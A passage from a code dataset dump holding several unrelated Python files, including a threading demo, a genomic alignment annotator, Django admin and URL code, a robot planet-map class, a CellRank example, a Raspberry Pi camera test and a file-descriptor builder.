0\n","sub_path":"enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"612871847","text":"import threading\nimport time\n\ntLock = threading.Lock()\n\ndef timer(name, delay, repeat):\n\tprint(\"Start timer: \", name)\n\ttLock.acquire()\n\twhile True:\n\t\ttime.sleep(delay)\n\t\tprint(name+\": repeat=\"+str(repeat)+\"; time=\"+str(time.ctime(time.time())))\n\t\trepeat -= 1\n\t\tif (repeat <=0):\n\t\t\tbreak\n\ttLock.release()\n\tprint(\"End timer: \", name)\n\ndef Main():\n\tprint(\"Main start\")\n\tt1 = threading.Thread(target=timer, args=(\"Timer1\",1,5))\n\tt2 = threading.Thread(target=timer, args=(\"Timer2\",2,5))\n\tt1.start()\n\tt2.start()\n\tprint(\"Main end\")\n\nif __name__ == '__main__':\n\tMain()","sub_path":"draps/multithreading/multithreading3.py","file_name":"multithreading3.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118030597","text":"def subseq(seq1, seq2, l, r, dl, dr): #ギャップを除いて塩基番号を振りなおす\n\tcount = 0\n\ti = 0\n\twhile(count < dl - l):\n\t\tif(seq1[i] != '-'):\n\t\t\tcount += 1\n\t\ti += 1\n\tcount = 0\n\tj = len(seq1)\n\twhile(count < r - dr):\n\t\tif(seq1[j - 1] != '-'):\n\t\t\tcount += 1\n\t\tj -= 1\n\treturn([dl, dr, seq1[i:j], seq2[i:j]])\n\ndef devide(al, an):\n\tchrom = al[1]\n\tif(chrom in an):\n\t\tdata = {} #新規データ\n\t\tgenes = an[chrom]\n\t\tdata[\"no.\"] = al[0]\n\t\tdata[\"chromH\"] = chrom\n\t\tn = len(genes)\n\t\tl = al[2]\n\t\tr = al[3]\n\t\tdata[\"al\"] = [l, r, al[9], al[10]]\n\t\tdata[\"tx\"] = []\n\t\tdata[\"ex\"] = []\n\t\tdata[\"cds\"] = []\n\t\tfor gene in genes:\n\t\t\ttxl = gene[4]\n\t\t\ttxr = gene[5]\n\t\t\tif((l - txr) * (r - txl) < 0): #一部または全部が転写される\n\t\t\t\tdtxl = max(l, txl)\n\t\t\t\tdtxr = min(r, txr)\n\t\t\t\ttx = subseq(al[9], al[10], l, r, dtxl, dtxr)\n\t\t\t\tdata[\"tx\"].append(tx)\n\n\t\t\t\tfor k in range(gene[8]): #exonを探す\n\t\t\t\t\texl = int(gene[9][k])\n\t\t\t\t\texr = int(gene[10][k])\n\t\t\t\t\tif((dtxl - exr) * (dtxr - exl) < 0):\n\t\t\t\t\t\tdexl = max(dtxl, exl)\n\t\t\t\t\t\tdexr = min(dtxr, exr)\n\t\t\t\t\t\tex = subseq(tx[2], tx[3], tx[0], tx[1], dexl, dexr)\n\t\t\t\t\t\tdata[\"ex\"].append(ex)\n\t\t\t\tif(data[\"ex\"] != []):\n\t\t\t\t\tcds_seq1 = \"\"\n\t\t\t\t\tcds_seq2 = \"\"\n\t\t\t\t\tfor exon in data[\"ex\"]:\n\t\t\t\t\t\tcds_seq1 += exon[2]\n\t\t\t\t\t\tcds_seq2 += exon[3]\n\t\t\t\t\tcds = [data[\"ex\"][0][0], data[\"ex\"][len(data[\"ex\"]) - 1][1], cds_seq1, cds_seq2]\n\t\t\t\t\tdata[\"cds\"].append(cds)\n\t\treturn(data)\n\telse:\n\t\treturn(\"arimasen\")\n\n\n\nannotation = {} ##chromosomeごとのannotationデータ\n\nfor line in open('../../data/refFlat.txt', 'r'):\n\trow = line[:-1].split('\\t')\n\tfor i in range(4, 9):\n\t\trow[i] = int(row[i]) #キャスト\n\trow[9] = row[9].strip(\"\\\",\").split(',')\n\tfor exonStart in row[9]:\n\t\texonStart = int(exonStart)\n\trow[10] = row[10].strip(\"\\\",\").split(',')\n\tfor exonEnd in row[10]:\n\t\texonEnd = int(exonEnd)\n\tif(row[2] in annotation):\n\t\tannotation[row[2]].append(row)\n\telse:\n\t\tannotation[row[2]] = [row]\n\naligns = []\n\nk = 0\nlinecount = 0\nfor line in open('../../data/hg38.galGal5.rbest.axt'):\n\tif(linecount % 4 == 0):\n\t\trow = line[:-1].split()\n\t\tfor i in [2, 5, 8]:\n\t\t\trow[i] = int(row[i])\n\t\tfor i in [3, 6]:\n\t\t\trow[i] = int(row[i]) + 1 #endをスライス式に\n\t\taligns.append(row)\n\telif(linecount % 4 != 3):\n\t\taligns[linecount // 4].append(line.strip())\n\tlinecount += 1\n\nfor align in aligns: #クエリ(align)に対してannotation全探索\n\tprint(devide(align, annotation))\n","sub_path":"src/refFlat/rbest_annotation_2.py","file_name":"rbest_annotation_2.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"37704834","text":"import json\nfrom importlib import import_module\nfrom django.contrib import admin\nfrom django.contrib.admin.options import TO_FIELD_VAR\nfrom django.template.response import TemplateResponse\nfrom django.conf import settings\n\nSTREAMBLOCKS_APP_PATH = getattr(settings, \"STREAMFIELD_STREAMBLOCKS_APP_PATH\", \"streamblocks\")\ntry:\n streamblocks_app = import_module(\"%s.models\" % STREAMBLOCKS_APP_PATH)\n STREAMBLOCKS_MODELS = streamblocks_app.STREAMBLOCKS_MODELS\nexcept (AttributeError, ValueError) as e:\n raise Exception(\"\"\"Can't find STREAMBLOCKS_MODELS: wrong \"STREAMFIELD_STREAMBLOCKS_APP_PATH\" or STREAMBLOCKS_MODELS don't exist.\"\"\")\n\nclass StreamBlocksAdmin(admin.ModelAdmin):\n change_form_template = 'streamfield/admin/change_form.html'\n popup_response_template = 'streamfield/admin/streamfield_popup_response.html'\n\n def response_add(self, request, obj, post_url_continue=None):\n if \"block_id\" in request.POST:\n opts = obj._meta\n to_field = request.POST.get(TO_FIELD_VAR)\n attr = str(to_field) if to_field else opts.pk.attname\n value = obj.serializable_value(attr)\n popup_response_data = json.dumps({\n 'app_id': request.POST.get(\"app_id\"),\n 'block_id': request.POST.get(\"block_id\"),\n 'instance_id': str(value),\n })\n return TemplateResponse(request, self.popup_response_template, {\n 'popup_response_data': popup_response_data,\n })\n return super().response_add(request, obj, post_url_continue)\n\n def response_change(self, request, obj):\n if \"block_id\" in request.POST:\n opts = obj._meta\n to_field = request.POST.get(TO_FIELD_VAR)\n attr = str(to_field) if to_field else opts.pk.attname\n value = request.resolver_match.kwargs['object_id']\n new_value = obj.serializable_value(attr)\n popup_response_data = json.dumps({\n 'action': 'change',\n 'app_id': request.POST.get(\"app_id\"),\n 'block_id': request.POST.get(\"block_id\"),\n 'instance_id': request.POST.get(\"instance_id\"),\n })\n return TemplateResponse(request, self.popup_response_template, {\n 'popup_response_data': popup_response_data,\n })\n\n return super().response_change(request, obj)\n\n def response_delete(self, request, obj_display, obj_id):\n if \"block_id\" in request.POST:\n popup_response_data = json.dumps({\n 'action': 'delete',\n 'value': str(obj_id),\n 'app_id': request.POST.get(\"app_id\"),\n 'block_id': request.POST.get(\"block_id\"),\n 'instance_id': request.POST.get(\"instance_id\"),\n })\n return TemplateResponse(request, self.popup_response_template, {\n 'popup_response_data': popup_response_data,\n })\n\n return super().response_delete(request, obj_display, obj_id)\n \n# if user defined admin for his blocks, then do not autoregiser block models\n\nfor model in STREAMBLOCKS_MODELS:\n if not model._meta.abstract and \\\n not admin.site.is_registered(model):\n admin.site.register(model, StreamBlocksAdmin)","sub_path":"streamfield/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"427462978","text":"#!/usr/bin/env python3\n\nfrom enum import IntEnum, unique\nfrom typing import List, Optional, Tuple, Dict\n# IMPORTANT NOTE: DO NOT IMPORT THE ev3dev.ev3 MODULE IN THIS FILE\n\n\n@unique\nclass Direction(IntEnum):\n \"\"\" Directions in degrees \"\"\"\n NORTH = 0\n EAST = 90\n SOUTH = 180\n WEST = 270\n\n\n# simple alias, no magic here\nWeight = int\n\"\"\" \n Weight of a given path (received from the server)\n value: -1 if broken path \n >0 for all other paths\n never 0\n\"\"\"\n\n\nclass Planet:\n \"\"\" \n Contains the representation of the map and provides certain functions to manipulate it according to the specifications \n \"\"\"\n\n def __init__(self):\n \"\"\" Initializes the data structure \"\"\"\n self.target = None\n\n # data for paths\n self.path_data = {}\n # data for paths, that can still be explored\n self.open_paths = {}\n\n def add_path(self, start: Tuple[Tuple[int, int], Direction], target: Tuple[Tuple[int, int], Direction], weight: int):\n \"\"\" \n Adds a bidirectional path defined between the start and end coordinates to the map and assigns the weight to it \n\n example: \n add_path(((0, 3), Direction.NORTH), ((0, 3), Direction.WEST), 1)\n\n current path structure:\n path_data{(coordinate):[[path1][path2][path3]], (coordinate):[[path1][path2]], ...}\n path = [start_position, start_direction, end_position, end_direction, weight]\n \"\"\"\n start_position = start[0]\n start_direction = start[1]\n end_position = target[0]\n end_direction = target[1]\n\n # checks, if coordinate exists in data structure and adds it\n if not self.check_coordinate_known(end_position):\n self.add_new_coordinate(end_position)\n if not self.check_coordinate_known(start_position):\n self.add_new_coordinate(start_position)\n\n # checks, if current path is saved and adds it\n if not self.check_path_known(start_position, start_direction):\n # adds path from start to end\n self.path_data[start_position].append([start_position, start_direction, end_position, end_direction, weight])\n # if the path is blocked, just add one path to the same node\n if weight is not -1:\n # adds path from end to start\n self.path_data[end_position].append([end_position, end_direction, start_position, start_direction, weight])\n\n\n def get_paths(self) -> Dict[Tuple[int, int], Dict[Direction, Tuple[Tuple[int, int], Direction, Weight]]]:\n \"\"\" \n Returns all paths \n\n example: \n get_paths() returns: { \n (0, 3): {\n Direction.NORTH: ((0, 3), Direction.WEST, 1), \n Direction.EAST: ((1, 3), Direction.WEST, 2) \n },\n (1, 3): {\n Direction.WEST: ((0, 3), Direction.EAST, 2), \n ... \n }, \n ...\n }\n \"\"\"\n # initializes empty dictionary\n path_result = {}\n # goes through every coordinate in path structure\n for coordinate in self.path_data.keys():\n # creates a dictionary for every coordinate\n path_result[coordinate] = {}\n # for every path for each coordinate\n for single_path in self.path_data.get(coordinate):\n # creates key-value pairs for each path according to given return structure\n path_result[coordinate][single_path[1]] = (single_path[2], single_path[3], single_path[4])\n print(path_result)\n # returns all paths according to given structure\n return path_result\n\n\n\n def shortest_path(self, start: Tuple[int, int], target: Tuple[int, int]) -> Optional[List[Tuple[Tuple[int, int], Direction]]]:\n \"\"\" \n Returns a shortest path between two nodes \n\n examples: \n shortest_path((0,0), (2,2)) returns: [((0, 0), Direction.EAST), ((1, 0), Direction.NORTH)]\n shortest_path((0,0), (1,2)) returns: None\n \"\"\"\n pass\n\n # adds a new coordinate to the path data\n def add_new_coordinate(self, new_coordinate: Tuple[int, int]):\n # set coordinate as new key and create as value an empty list for each path\n self.path_data[new_coordinate] = []\n\n # checks, if a coordinate exists in the path data\n def check_coordinate_known(self, new_coordinate: Tuple[int, int]):\n for coord in self.path_data.keys():\n if coord == new_coordinate:\n return True\n return False\n\n # checks, if a path exists in the path data\n def check_path_known(self, start_pos: Tuple[int, int], start_dir: int):\n paths_from_position = list(self.path_data.get(start_pos))\n for path in paths_from_position:\n if path[1] == start_dir:\n return True\n return False\n\n # if coordinate isn't part of detected-path-data, then add it\n def add_detected_paths(self, coordinate, detected_paths):\n if coordinate in list(self.open_paths.keys()):\n return\n self.open_paths[coordinate] = detected_paths\n\n # returns data of all directions per node, left to explore\n def get_open_paths(self):\n return self.open_paths\n\n # returns data for all saved paths\n def get_path_data(self):\n return self.path_data\n\n # sets a direction at a coordinate to false, which marks it as explored\n def close_open_path(self, coordinate, direction):\n # sets correct index value for the current direction\n if direction == 0:\n index = 0\n elif direction == 90:\n index = 1\n elif direction == 180:\n index = 2\n else:\n index = 3\n # sets the boolean value for the direction to False\n self.open_paths[coordinate][index] = False\n\n # print out all paths\n def print_paths(self):\n print(\"PATHS\")\n for coordinate in self.path_data.keys():\n print(\"{}:\".format(coordinate))\n for path in self.path_data.get(coordinate):\n dir = path[1]\n if dir == 0:\n dir = 'NORTH'\n elif dir == 90:\n dir = 'EAST'\n elif dir == 180:\n dir = 'SOUTH'\n else:\n dir = 'WEST'\n dir_end = path[3]\n if dir_end == 0:\n dir_end = 'NORTH'\n elif dir_end == 90:\n dir_end = 'EAST'\n elif dir_end == 180:\n dir_end = 'SOUTH'\n else:\n dir_end = 'WEST'\n print(\" Start:{}, {} | End:{}, {} | Weight: {}\".format(path[0], dir, path[2], dir_end, path[4]))\n\n # test Direction class\n def direction_test(self, direc: Direction):\n print(direc)\n","sub_path":"src/planet.py","file_name":"planet.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"103847891","text":"from django.conf.urls import url\nfrom django.contrib import admin\n\n\t\t\nfrom .views import (\n\t\tdelinquency_create,\n\t\tdelinquency_update,\n\t\tmiscellaneous_create,\n\t\tmiscellaneous_list,\n\t\tmiscellaneous_detail,\n\t\tmiscellaneous_delete,\n\t\t)\nurlpatterns = [\nurl(r'^(?P\\d+)/edit/$',delinquency_update, name='update'),\n\nurl(r'^misc/(?P\\d+)/$',miscellaneous_list, name='list'),\nurl(r'^misc/(?P\\d+)/create/$',miscellaneous_create, name='misc'),\nurl(r'^misc/(?P\\d+)/(?P\\d+)/detail$',\n\tmiscellaneous_detail, name='detail'),\nurl(r'^misc/(?P\\d+)/delete/$',miscellaneous_delete),\n\t\t]","sub_path":"delinquency/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"213502864","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCompute driver genes\n--------------------\n\nThis example shows how to compute and plot lineage driver genes.\n\"\"\"\n\nimport cellrank as cr\n\nadata = cr.datasets.pancreas_preprocessed(\"../example.h5ad\")\nadata\n\n# %%\n# First, we prepare the kernel using high-level pipeline and the :class:`cellrank.tl.estimators.GPCCA` estimator.\nk = cr.tl.transition_matrix(\n adata, weight_connectivities=0.2, softmax_scale=4, show_progress_bar=False\n)\ng = cr.tl.estimators.GPCCA(k)\n\n# %%\n# We need to compute the absorption probabilities. In this example, we're using\n# :class:`cellrank.tl.estimators.GPCCA` estimator to estimate the final states of the process, but\n# :class:`cellrank.tl.estimators.CFLARE` can be used as well.\n#\n# In detail guide for both of our estimators can be found in\n# :ref:`sphx_glr_auto_examples_estimators_compute_final_states_gpcca.py` or in\n# :ref:`sphx_glr_auto_examples_estimators_compute_final_states_cflare.py`\ng.compute_schur(n_components=4)\ng.compute_metastable_states(cluster_key=\"clusters\")\ng.set_final_states_from_metastable_states([\"Alpha\", \"Beta\", \"Epsilon\"])\ng.compute_absorption_probabilities()\ng.absorption_probabilities\n\n# %%\n# To compute the driver genes, simply call the :meth:`cellrank.tl.estimators.BaseEstimator.compute_lineage_drivers`\n# By default, lineage drivers are computed for all lineages. We can restrict this computation to only a few clusters,\n# using ``cluster_key`` and ``clusters``.\ng.compute_lineage_drivers()\ng.lineage_drivers\n\n# %%\n# Lastly, we plot the top 3 driver genes for the `'Alpha'` lineage.\ng.plot_lineage_drivers(\"Alpha\", n_genes=3)\n","sub_path":"examples/estimators/compute_lineage_drivers.py","file_name":"compute_lineage_drivers.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397355241","text":"import pandas as pd\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.svm import SVC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\niris = load_iris()\r\ndf = pd.DataFrame(iris.data,columns=iris.feature_names)\r\ndf.head()\r\ndf['target'] = iris.target\r\ndf.head()\r\n\r\n\r\nX = df.drop(['target'], axis='columns')\r\ny = df.target\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n\r\nmodel = SVC()\r\nmodel.fit(X_train, y_train)\r\nmodel.score(X_test, y_test)\r\n#model.predict([[4.8,3.0,1.5,0.3]])","sub_path":"svm/svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"30961057","text":"\"\"\"\ntest a single image\n\"\"\"\n# import the necessary packages\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport cv2\n \n# # initialize the camera and grab a reference to the raw camera capture\n# camera = PiCamera()\n# rawCapture = PiRGBArray(camera)\n# \n# # allow the camera to warmup\n# time.sleep(0.1)\n# \n# # grab an image from the camera\n# camera.capture(rawCapture, format=\"bgr\")\n# image = rawCapture.array\n# \n# # display the image on screen and wait for a keypress\n# cv2.imshow(\"Image\", image)\n# cv2.waitKey(0)\n\n# cd to folder and print python3 test_image.py in terminal\n\n\n\n\"\"\"\ntest livestream\n\"\"\"\n# import the necessary packages\n#from picamera.array import PiRGBArray\n#from picamera import PiCamera\n#import time\n#import cv2\n \n##initialize the camera and grab a reference to the raw camera capture\ncamera = PiCamera()\ncamera.resolution = (640, 480)\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=(640, 480))\n \n##allow the camera to warmup\ntime.sleep(0.1)\n \n##capture frames from the camera\nfor frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n # grab the raw NumPy array representing the image, then initialize the timestamp\n # and occupied/unoccupied text\n image = frame.array\n \n # show the frame\n cv2.imshow(\"Frame\", image)\n key = cv2.waitKey(1) & 0xFF\n \n # clear the stream in preparation for the next frame\n rawCapture.truncate(0)\n \n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n break","sub_path":"hardware test cont./test_camera.py","file_name":"test_camera.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"53858834","text":"class Solution(object):\n def exist(self, board, word):\n \"\"\"\n :type board: List[List[str]]\n :type word: str\n :rtype: bool\n \"\"\"\n n, m = len(board), len(board[0])\n\n def _available_pos(i, j, visited):\n return (i, j) not in visited and (0 <= i < n) and (0 <= j < m)\n\n def search(index, i, j, visited):\n if index == 3 and i == 0 and j == 3:\n print(_available_pos(i, j, visited))\n if not _available_pos(i, j, visited) or board[i][j] != word[index]:\n return False\n if index == len(word) - 1:\n return True\n # print(index, i, j)\n visited.append((i, j))\n index += 1\n ans = any(search(index, i, j, visited) for i, j\n in [(i + 1, j), (i - 1, j), (i, j - 1), (i, j + 1)])\n # list is mutable\n if not ans:\n visited.pop(-1)\n return ans\n\n for i in range(n):\n for j in range(m):\n if search(0, i, j, []):\n return True\n return False\n\n def exist_2(self, board, word):\n \"\"\"\n No extra space.\n \"\"\"\n n, m = len(board), len(board[0])\n\n def _available_pos(i, j):\n return (0 <= i < n) and (0 <= j < m)\n\n def search(index, i, j):\n if not _available_pos(i, j) or board[i][j] != word[index]:\n return False\n if index == len(word) - 1:\n return True\n index += 1\n tmp = board[i][j]\n board[i][j] = '#'\n ans = any(search(index, i, j) for i, j\n in [(i + 1, j), (i - 1, j), (i, j - 1), (i, j + 1)])\n board[i][j] = tmp\n return ans\n\n for i in range(n):\n for j in range(m):\n if search(0, i, j):\n return True\n return False\n","sub_path":"word_search.py","file_name":"word_search.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"578895891","text":"\"\"\" Functions for ionospheric modelling: see SDP memo 97\n\n\"\"\"\n\nimport logging\n\nimport numpy\nfrom scipy.interpolate import RectBivariateSpline\n\nfrom data_models.memory_data_models import BlockVisibility\nfrom processing_components.calibration.operations import create_gaintable_from_blockvisibility\nfrom processing_components.visibility.base import create_visibility_from_rows\nfrom processing_components.visibility.iterators import vis_timeslice_iter\nfrom processing_library.util.coordinate_support import hadec_to_azel, azel_to_hadec\n\nlog = logging.getLogger(__name__)\n\n\ndef simulate_gaintable_from_pointingtable(vis, sc, pt, vp, vis_slices=None, scale=1.0, order=3,\n use_radec=False, **kwargs):\n \"\"\" Create gaintables from a pointing table\n\n :param vis:\n :param sc: Sky components for which pierce points are needed\n :param pt: Pointing table\n :param vp: Voltage pattern in AZELGEO frame\n :param scale: Multiply the screen by this factor\n :param order: order of spline (default is 3)\n :return:\n \"\"\"\n\n nant = vis.vis.shape[1]\n gaintables = [create_gaintable_from_blockvisibility(vis, **kwargs) for i in sc]\n\n nchan, npol, ny, nx = vp.data.shape\n\n real_spline = RectBivariateSpline(range(ny), range(nx), vp.data[0, 0, ...].real, kx=order, ky=order)\n imag_spline = RectBivariateSpline(range(ny), range(nx), vp.data[0, 0, ...].imag, kx=order, ky=order)\n\n if not use_radec:\n assert isinstance(vis, BlockVisibility)\n assert vp.wcs.wcs.ctype[0] == 'AZELGEO long', vp.wcs.wcs.ctype[0]\n assert vp.wcs.wcs.ctype[1] == 'AZELGEO lati', vp.wcs.wcs.ctype[1]\n \n assert vis.configuration.mount[0] == 'azel', \"Mount %s not supported yet\" % vis.configuration.mount[0]\n \n # The time in the Visibility is hour angle in seconds!\n number_bad = 0\n number_good = 0\n \n latitude = vis.configuration.location.lat.rad\n \n r2d = 180.0 / numpy.pi\n s2r = numpy.pi / 43200.0\n # For each hourangle, we need to calculate the location of a component\n # in AZELGEO. With that we can then look up the relevant gain from the\n # voltage pattern\n for iha, rows in enumerate(vis_timeslice_iter(vis, vis_slices=vis_slices)):\n v = create_visibility_from_rows(vis, rows)\n ha = numpy.average(v.time)\n pt_rows = (pt.time == ha)\n assert numpy.sum(pt_rows) > 0\n pointing_ha = pt.pointing[pt_rows]\n har = s2r * ha\n \n # Calculate the az el for this hourangle and the phasecentre declination\n azimuth_centre, elevation_centre = hadec_to_azel(har, vis.phasecentre.dec.rad, latitude)\n \n for icomp, comp in enumerate(sc):\n antgain = numpy.zeros([nant], dtype='complex')\n # Calculate the location of the component in AZELGEO, then add the pointing offset\n # for each antenna\n hacomp = comp.direction.ra.rad - vis.phasecentre.ra.rad + har\n deccomp = comp.direction.dec.rad\n azimuth_comp, elevation_comp = hadec_to_azel(hacomp, deccomp, latitude)\n \n for ant in range(nant):\n \n wcs_azel = vp.wcs.deepcopy()\n \n az_comp = (azimuth_centre + pointing_ha[0, ant, 0, 0, 0]/numpy.cos(elevation_centre))*r2d\n el_comp = (elevation_centre + pointing_ha[0, ant, 0, 0, 1])*r2d\n \n # We use WCS sensible coordinate handling by labelling the axes misleadingly\n wcs_azel.wcs.crval[0] = az_comp\n wcs_azel.wcs.crval[1] = el_comp\n wcs_azel.wcs.ctype[0] = 'RA---SIN'\n wcs_azel.wcs.ctype[1] = 'DEC--SIN'\n \n worldloc = [azimuth_comp*r2d, elevation_comp*r2d,\n vp.wcs.wcs.crval[2], vp.wcs.wcs.crval[3]]\n try:\n pixloc = wcs_azel.sub(2).wcs_world2pix([worldloc[:2]], 1)[0]\n assert pixloc[0] > 2\n assert pixloc[0] < nx - 3\n assert pixloc[1] > 2\n assert pixloc[1] < ny - 3\n gain = real_spline.ev(pixloc[1], pixloc[0]) + 1j * imag_spline(pixloc[1], pixloc[0])\n antgain[ant] = 1.0 / (scale * gain)\n number_good += 1\n except:\n number_bad += 1\n antgain[ant] = 0.0\n \n gaintables[icomp].gain[iha, :, :, :] = antgain[:, numpy.newaxis, numpy.newaxis, numpy.newaxis]\n gaintables[icomp].phasecentre = comp.direction\n else:\n assert isinstance(vis, BlockVisibility)\n assert vp.wcs.wcs.ctype[0] == 'RA---SIN', vp.wcs.wcs.ctype[0]\n assert vp.wcs.wcs.ctype[1] == 'DEC--SIN', vp.wcs.wcs.ctype[1]\n \n # The time in the Visibility is hour angle in seconds!\n number_bad = 0\n number_good = 0\n \n d2r = numpy.pi / 180.0\n ra_centre = vp.wcs.wcs.crval[0] * d2r\n dec_centre = vp.wcs.wcs.crval[1] * d2r\n \n r2d = 180.0 / numpy.pi\n s2r = numpy.pi / 43200.0\n # For each hourangle, we need to calculate the location of a component\n # in AZELGEO. With that we can then look up the relevant gain from the\n # voltage pattern\n for iha, rows in enumerate(vis_timeslice_iter(vis, vis_slices=vis_slices)):\n v = create_visibility_from_rows(vis, rows)\n ha = numpy.average(v.time)\n pt_rows = (pt.time == ha)\n pointing_ha = pt.pointing[pt_rows]\n har = s2r * ha\n \n for icomp, comp in enumerate(sc):\n antgain = numpy.zeros([nant], dtype='complex')\n antwt = numpy.zeros([nant])\n # Calculate the location of the component in AZELGEO, then add the pointing offset\n # for each antenna\n ra_comp = comp.direction.ra.rad\n dec_comp = comp.direction.dec.rad\n for ant in range(nant):\n wcs_azel = vp.wcs.deepcopy()\n ra_pointing = (ra_centre + pointing_ha[0, ant, 0, 0, 0]/numpy.cos(dec_centre)) * r2d\n dec_pointing = (dec_centre + pointing_ha[0, ant, 0, 0, 1]) * r2d\n \n # We use WCS sensible coordinate handling by labelling the axes misleadingly\n wcs_azel.wcs.crval[0] = ra_pointing\n wcs_azel.wcs.crval[1] = dec_pointing\n wcs_azel.wcs.ctype[0] = 'RA---SIN'\n wcs_azel.wcs.ctype[1] = 'DEC--SIN'\n \n worldloc = [ra_comp * r2d, dec_comp * r2d,\n vp.wcs.wcs.crval[2], vp.wcs.wcs.crval[3]]\n try:\n pixloc = wcs_azel.sub(2).wcs_world2pix([worldloc[:2]], 1)[0]\n assert pixloc[0] > 2\n assert pixloc[0] < nx - 3\n assert pixloc[1] > 2\n assert pixloc[1] < ny - 3\n gain = real_spline.ev(pixloc[1], pixloc[0]) + 1j * imag_spline(pixloc[1], pixloc[0])\n antgain[ant] = 1.0 / (scale * gain)\n antwt[ant] = 1.0\n number_good += 1\n except:\n number_bad += 1\n antgain[ant] = 1e15\n antwt[ant] = 0.0\n\n gaintables[icomp].gain[iha, :, :, :] = antgain[:, numpy.newaxis, numpy.newaxis, numpy.newaxis]\n gaintables[icomp].weight[iha, :, :, :] = antwt[:, numpy.newaxis, numpy.newaxis, numpy.newaxis]\n gaintables[icomp].phasecentre = comp.direction\n\n if number_bad > 0:\n log.warning(\n \"simulate_gaintable_from_pointingtable: %d points are inside the voltage pattern image\" % (number_good))\n log.warning(\n \"simulate_gaintable_from_pointingtable: %d points are outside the voltage pattern image\" % (number_bad))\n\n return gaintables","sub_path":"processing_components/simulation/pointing.py","file_name":"pointing.py","file_ext":"py","file_size_in_byte":8274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381236442","text":"#!/usr/bin/env python\nimport argparse\nimport json\nimport mimetypes\nimport os\n\nfrom pipeline_tools.shared.submission.format_map import (\n get_uuid5,\n convert_datetime,\n MIME_FORMATS,\n)\n\n\n[mimetypes.add_type(entry[0], entry[1]) for entry in MIME_FORMATS]\n\n\ndef build_file_descriptor(\n input_uuid,\n file_path,\n size,\n sha256,\n crc32c,\n creation_time,\n raw_schema_url,\n file_descriptor_schema_version,\n):\n \"\"\"Create the submission envelope in Ingest service.\n\n Args:\n file_path (str): Path to the described file.\n size (str): Size of the described file in bytes.\n input_uuid (str): UUID of the input file in the HCA Data Browser.\n sha256 (str): sha256 hash value of the described file.\n crc32c (str): crc32c hash value of the described file.\n creation_time (str): Timestamp of the creation time of the described file.\n raw_schema_url (str): URL prefix for retrieving HCA metadata schemas.\n file_descriptor_schema_version (str): Version of the metadata schema that the file_descriptor.json conforms to.\n \"\"\"\n\n SCHEMA_TYPE = 'file_descriptor'\n relative_location = get_relative_file_location(file_path)\n file_version = convert_datetime(creation_time)\n file_extension = os.path.splitext(file_path)[1]\n\n file_id = get_uuid5(get_uuid5(f\"{str(input_uuid)}{file_extension}\"))\n\n file_descriptor = {\n 'describedBy': get_file_descriptor_described_by(\n schema_url=raw_schema_url, schema_version=file_descriptor_schema_version\n ),\n 'schema_version': file_descriptor_schema_version,\n 'schema_type': SCHEMA_TYPE,\n 'content_type': mimetypes.guess_type(file_path)[0] or 'application/unknown',\n 'size': int(size),\n 'sha256': sha256,\n 'crc32c': crc32c,\n 'file_id': file_id,\n 'file_version': file_version,\n 'file_name': relative_location,\n }\n\n return file_descriptor\n\n\ndef get_file_descriptor_described_by(schema_url, schema_version):\n return f'{schema_url.strip(\"/\")}/system/{schema_version}/file_descriptor'\n\n\ndef get_relative_file_location(file_url):\n \"\"\"The object name of the data file relative to the staging area's `data/` directory\"\"\"\n return file_url.rsplit('/')[-1]\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--input_uuid', required=True, help='Input file UUID from the HCA Data Browser.'\n )\n parser.add_argument(\n '--file_path', required=True, help='Path to the file to describe.'\n )\n parser.add_argument('--size', required=True, help='Size of the file in bytes.')\n parser.add_argument('--sha256', required=True, help='sha256 of the file.')\n parser.add_argument('--crc32c', required=True, help='crc32c of the file.')\n parser.add_argument(\n '--creation_time',\n required=True,\n help='Time of file creation, as reported by \"gsutil ls -l\"',\n )\n parser.add_argument(\n '--schema_url', required=True, help='URL for retrieving HCA metadata schemas.'\n )\n parser.add_argument(\n '--file_descriptor_schema_version',\n required=True,\n help='The metadata schema version that the file_descriptor conforms to.',\n )\n args = parser.parse_args()\n\n schema_url = args.schema_url.strip('/')\n\n descriptor_entity_id = get_uuid5(\n f\"{str(args.input_uuid)}{os.path.splitext(args.file_path)[1]}\"\n )\n descriptor = build_file_descriptor(\n input_uuid=args.input_uuid,\n file_path=args.file_path,\n size=args.size,\n sha256=args.sha256,\n crc32c=args.crc32c,\n creation_time=args.creation_time,\n raw_schema_url=schema_url,\n 